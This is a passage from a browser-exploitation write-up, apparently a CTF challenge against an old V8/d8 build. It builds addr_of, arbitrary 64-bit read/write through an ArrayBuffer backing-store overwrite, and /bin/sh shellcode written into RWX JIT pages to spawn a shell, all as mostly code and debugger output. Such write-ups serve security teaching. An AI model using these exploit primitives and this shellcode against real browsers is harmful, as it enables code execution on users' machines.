<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">5000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">==</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#a6e22e">int_to_smi</span>(<span style="color:#a6e22e">val</span>)).<span style="color:#a6e22e">asDouble</span>()) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">print</span>(<span style="color:#e6db74">&#34;Found offset: &#34;</span><span style="color:#f92672">+</span><span style="color:#a6e22e">i</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">i</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">offset</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This offset is now used in the <code>addr_of</code> function which allows the address to be retrieved for any object:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">addr_of</span>(<span style="color:#a6e22e">obj</span>){
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">elements_array</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">obj</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Int64</span>.<span style="color:#a6e22e">fromDouble</span>(<span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">elements_offset</span>])
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">test</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">hello</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#34;world&#34;</span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">elements_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#ae81ff">1337</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">double_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">find_offset_double</span>(<span style="color:#ae81ff">1.337</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">print</span>(<span style="color:#a6e22e">addr_of</span>(<span style="color:#a6e22e">test</span>))
</span></span></code></pre></div><p>Running the script now successfully prints an address the <code>test</code> object, confirming the <code>addr_of</code> function works:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>..<span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday_release</span><span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">bug</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">trace</span><span style="color:#f92672">-</span><span style="color:#a6e22e">deopt</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Found</span> <span style="color:#a6e22e">offset</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">36</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Found</span> <span style="color:#a6e22e">offset</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">45</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x00001b590f215e81</span>
</span></span></code></pre></div><p>To achieve arbitrary read and write, we utilize an ArrayBuffer and pointing it&rsquo;s backing store to the address we want to read/write from/to.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>  <span style="color:#a6e22e">arb_rw_arraybuffer</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ArrayBuffer</span>(<span style="color:#ae81ff">0x200</span>)
</span></span></code></pre></div><p>First we have to find the offset to this ArrayBuffer. One of the ways we could find the offset to this ArrayBuffer is by searching for the size:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">print</span>(<span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#ae81ff">0x200</span>)) <span style="color:#75715e">// Found offset: 55
</span></span></span></code></pre></div><p>Looking at memory we can see that the backing store address comes after the byte length (size) of the ArrayBuffer:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">V8</span> <span style="color:#a6e22e">version</span> <span style="color:#ae81ff">6.2</span>.<span style="color:#ae81ff">0</span> (<span style="color:#a6e22e">candidate</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">d8</span><span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">ab</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ArrayBuffer</span>(<span style="color:#ae81ff">500</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">undefined</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">d8</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">DebugPrint</span>(<span style="color:#a6e22e">ab</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">DebugPrint</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x25ed4e20bf69</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">JSArrayBuffer</span>]
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">map</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xacfdf683179</span> [<span style="color:#a6e22e">FastProperties</span>]
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">prototype</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x3dcd6128c391</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">elements</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x18e996982241</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">FixedArray</span>[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">&gt;</span> [<span style="color:#a6e22e">HOLEY_SMI_ELEMENTS</span>]
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">embedder</span> <span style="color:#a6e22e">fields</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">backing_store</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x55973df4f220</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">byte_length</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">500</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">neuterable</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">properties</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x18e996982241</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">FixedArray</span>[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">&gt;</span> {}
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">embedder</span> <span style="color:#a6e22e">fields</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">nil</span>)
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">nil</span>)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0xacfdf683179</span><span style="color:#f92672">:</span> [<span style="color:#a6e22e">Map</span>]
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JS_ARRAY_BUFFER_TYPE</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">instance</span> <span style="color:#a6e22e">size</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">inobject</span> <span style="color:#a6e22e">properties</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">elements</span> <span style="color:#a6e22e">kind</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">HOLEY_SMI_ELEMENTS</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">unused</span> <span style="color:#a6e22e">property</span> <span style="color:#a6e22e">fields</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#66d9ef">enum</span> <span style="color:#a6e22e">length</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">invalid</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">stable_map</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">back</span> <span style="color:#a6e22e">pointer</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x18e996982311</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">undefined</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">instance</span> <span style="color:#a6e22e">descriptors</span> (<span style="color:#a6e22e">own</span>) <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x18e996982231</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">FixedArray</span>[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">layout</span> <span style="color:#a6e22e">descriptor</span><span style="color:#f92672">:</span> (<span style="color:#a6e22e">nil</span>)
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">prototype</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x3dcd6128c391</span> <span style="color:#f92672">&lt;</span>Object <span style="color:#a6e22e">map</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xacfdf6831d1</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">constructor</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x3dcd6128c1c9</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSFunction</span> <span style="color:#a6e22e">ArrayBuffer</span> (<span style="color:#a6e22e">sfi</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x18e9969c5d89</span>)<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">cache</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x18e996982241</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">FixedArray</span>[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">dependent</span> <span style="color:#a6e22e">code</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x18e996982241</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">FixedArray</span>[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">construction</span> <span style="color:#a6e22e">counter</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">object</span> <span style="color:#a6e22e">ArrayBuffer</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">d8</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">^</span><span style="color:#a6e22e">C</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">pwndbg</span><span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">/</span><span style="color:#ae81ff">8</span><span style="color:#a6e22e">gx</span> <span style="color:#ae81ff">0x25ed4e20bf69</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x25ed4e20bf68</span><span style="color:#f92672">:</span>	<span style="color:#ae81ff">0x00000acfdf683179</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">Map</span>				
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x25ed4e20bf70</span><span style="color:#f92672">:</span>	<span style="color:#ae81ff">0x000018e996982241</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">Properties</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x25ed4e20bf78</span><span style="color:#f92672">:</span>	<span style="color:#ae81ff">0x000018e996982241</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">Elements</span>	
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x25ed4e20bf80</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x000001f400000000</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">Byte</span> <span style="color:#a6e22e">length</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x25ed4e20bf88</span><span style="color:#f92672">:</span>	<span style="color:#ae81ff">0x000055973df4f220</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">Backing</span> <span style="color:#a6e22e">store</span>	
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>This means we can get the offset to the ArrayBuffer&rsquo;s backing store by incrementing the offset to the byte length by one:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">array_buffer_backing_store_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">array_buffer_size_offset</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>We can now read or write to any address:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">read_64</span>(<span style="color:#a6e22e">addr</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">array_buffer_backing_store_offset</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#a6e22e">addr</span>).<span style="color:#a6e22e">to_double</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">accessor</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Uint32Array</span>(<span style="color:#a6e22e">arb_rw_arraybuffer</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#66d9ef">undefined</span>, <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">1</span>], <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">write_64</span>(<span style="color:#a6e22e">addr</span>, <span style="color:#a6e22e">value</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">array_buffer_backing_store_offset</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#a6e22e">addr</span>).<span style="color:#a6e22e">to_double</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">accessor</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Uint32Array</span>(<span style="color:#a6e22e">target_array_buffer</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">value</span>.<span style="color:#a6e22e">low</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">value</span>.<span style="color:#a6e22e">high</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As the version of V8 and Chrome used in this bug still uses RWX JIT pages, it is possible to write to and directly execute shellcode in the RWX pages. This has been fixed in recent versions with the introduction of W^X in Chrome/V8, however there are still ways to gain code execution such as RWX WASM pages and ROP.</p>
<p>The screenshot from GDB confirms this version of V8 has RWX pages:</p>
<p><img src="/images/rwx-jit-pages.png" alt="RWX JIT"></p>
<p>To write our shellcode, we need to create another ArrayBuffer to store it in. This again can be found by searching for the size and incrementing the offset:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">shellcode_array_buffer</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ArrayBuffer</span>(<span style="color:#ae81ff">0x456</span>)
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">shellcode_array_buffer_backing_store_offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#ae81ff">0x456</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">shellcode_array_buffer_backing_store_offset</span><span style="color:#f92672">++</span>
</span></span></code></pre></div><p>To achieve code execution the core concepts are as follows:</p>
<ul>
<li>JIT compile a function</li>
<li>Find the pointer to RWX JIT pages for the JITTed function</li>
<li>Point the ArrayBuffer backing store to the RWX memory</li>
<li>Write shellcode to the ArrayBuffer</li>
<li>Execute the JIT function.</li>
</ul>
<p>To JIT compile a function we can just execute it a lot of times.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitme</span>(<span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">val</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">&gt;</span><span style="color:#ae81ff">100000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">jitme</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We are looking for <code> - code = 0x17f593884c21 &lt;Code OPTIMIZED_FUNCTION&gt;</code>.</p>
<p>We are able to find an address close to this if we read the address at the 0x38 offset to the JIT function pointer.</p>
<p><img src="/images/rwx-jit-address.png" alt="RWX JIT Address"></p>
<p>This is calculated using the below JavaScript.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">jitted_function_ptr</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">addr_of</span>(<span style="color:#a6e22e">jitme</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">print</span>(<span style="color:#e6db74">&#34;JIT Function: &#34;</span><span style="color:#f92672">+</span> <span style="color:#a6e22e">jitted_function_ptr</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">JIT_ptr</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">read_64</span>(<span style="color:#a6e22e">jitted_function_ptr</span>.<span style="color:#a6e22e">add</span>(<span style="color:#ae81ff">0x38</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>));
</span></span></code></pre></div><p>We are using a simple /bin/sh shellcode generated using PwnTools:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">SHELLCODE</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">46</span>, <span style="color:#ae81ff">99</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">111</span>, <span style="color:#ae81ff">46</span>, <span style="color:#ae81ff">114</span>, <span style="color:#ae81ff">105</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">231</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">44</span>, <span style="color:#ae81ff">98</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">129</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">224</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">46</span>, <span style="color:#ae81ff">114</span>, <span style="color:#ae81ff">105</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">129</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">69</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">32</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">98</span>, <span style="color:#ae81ff">105</span>, <span style="color:#ae81ff">110</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">184</span>, <span style="color:#ae81ff">101</span>, <span style="color:#ae81ff">99</span>, <span style="color:#ae81ff">104</span>, <span style="color:#ae81ff">111</span>, <span style="color:#ae81ff">32</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">78</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">225</span>, <span style="color:#ae81ff">106</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">254</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">65</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">65</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">106</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">137</span>, <span style="color:#ae81ff">230</span>, <span style="color:#ae81ff">153</span>, <span style="color:#ae81ff">15</span>, <span style="color:#ae81ff">5</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">shellcode_array_buffer_backing_store_offset</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">JIT_ptr</span>.<span style="color:#a6e22e">to_double</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">shell_code_writer</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Uint8Array</span>(<span style="color:#a6e22e">shellcode_array_buffer</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">shell_code_writer</span>.<span style="color:#a6e22e">set</span>(<span style="color:#a6e22e">SHELLCODE</span>);
</span></span></code></pre></div><p>Finally, we execute the JIT compiled function to gain code execution and a shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">jitme</span>()
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">➜</span>  <span style="color:#a6e22e">accidentalnday</span> ..<span style="color:#f92672">/</span><span style="color:#a6e22e">accidentalnday_release</span><span style="color:#f92672">/</span><span style="color:#a6e22e">d8</span> <span style="color:#a6e22e">nday</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">allow</span><span style="color:#f92672">-</span><span style="color:#a6e22e">natives</span><span style="color:#f92672">-</span><span style="color:#a6e22e">syntax</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">escape</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">experimental</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">no</span><span style="color:#f92672">-</span><span style="color:#a6e22e">turbo</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loop</span><span style="color:#f92672">-</span><span style="color:#a6e22e">peeling</span> <span style="color:#f92672">--</span><span style="color:#a6e22e">trace</span><span style="color:#f92672">-</span><span style="color:#a6e22e">deopt</span>
